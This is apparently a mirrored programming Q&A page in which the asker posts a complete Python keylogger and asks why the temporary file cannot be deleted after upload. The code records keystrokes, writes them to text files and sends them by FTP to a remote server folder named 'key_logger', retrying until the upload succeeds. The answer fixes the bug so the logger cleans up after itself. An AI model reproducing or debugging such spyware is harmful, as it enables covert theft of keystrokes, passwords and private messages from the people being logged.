简体   繁体   中英

Cannot delete file after upload with Python ftplib

This is my full program:

from ftplib import FTP
from keyboard import read_key
from multiprocessing import Process
from os import unlink
from random import random


def send_file(data):
    username = str(int(random() * 10000)) + "m.txt"
    ftp = FTP('***')
    file = open(username, 'x+')
    for stroke in data:
        file.write(stroke)
    data.clear()
    file.close()
    while True:
        try:
            ftp.login(user='***', passwd='***')
            ftp.cwd('key_logger')
            ftp.storbinary("STOR " + username, open(username, 'rb'))
            ftp.quit()
            break
        except Exception:
            ftp.set_pasv(True)
            continue
    unlink(username)


def get_strokes():
    strokes = []
    i = 0
    while True:
        key1 = read_key()
        if i == 0:
            strokes.append(key1)
        elif strokes.__len__() > 20:
            send = Process(target=send_file, args=(strokes, ), name="main")
            send.start()
            strokes.clear()
        i += 1
        i %= 2


if __name__ == '__main__':
    get = Process(target=get_strokes(), args=())
    get.start()
    get.join()

I am making a key logger that listens for strokes and saves them in strokes . When strokes reaches a certain length, they are saved in a.txt file then sent to my server.

then i need to remove the.txt file with os.remove() or os.unlink , but neither of them are deleting my file.

You never close the file that you open to upload. So it is locked and cannot be deleted.

The correct way to upload a file is:

with open(username, 'rb') as f:
    ftp.storbinary("STOR " + username, f)

The technical post webpages of this site follow the CC BY-SA 4.0 protocol. If you need to reprint, please indicate the site URL or the original address.Any question please contact:yoyou2525@163.com.

 
粤ICP备18138465号  © 2020-2024 STACKOOM.COM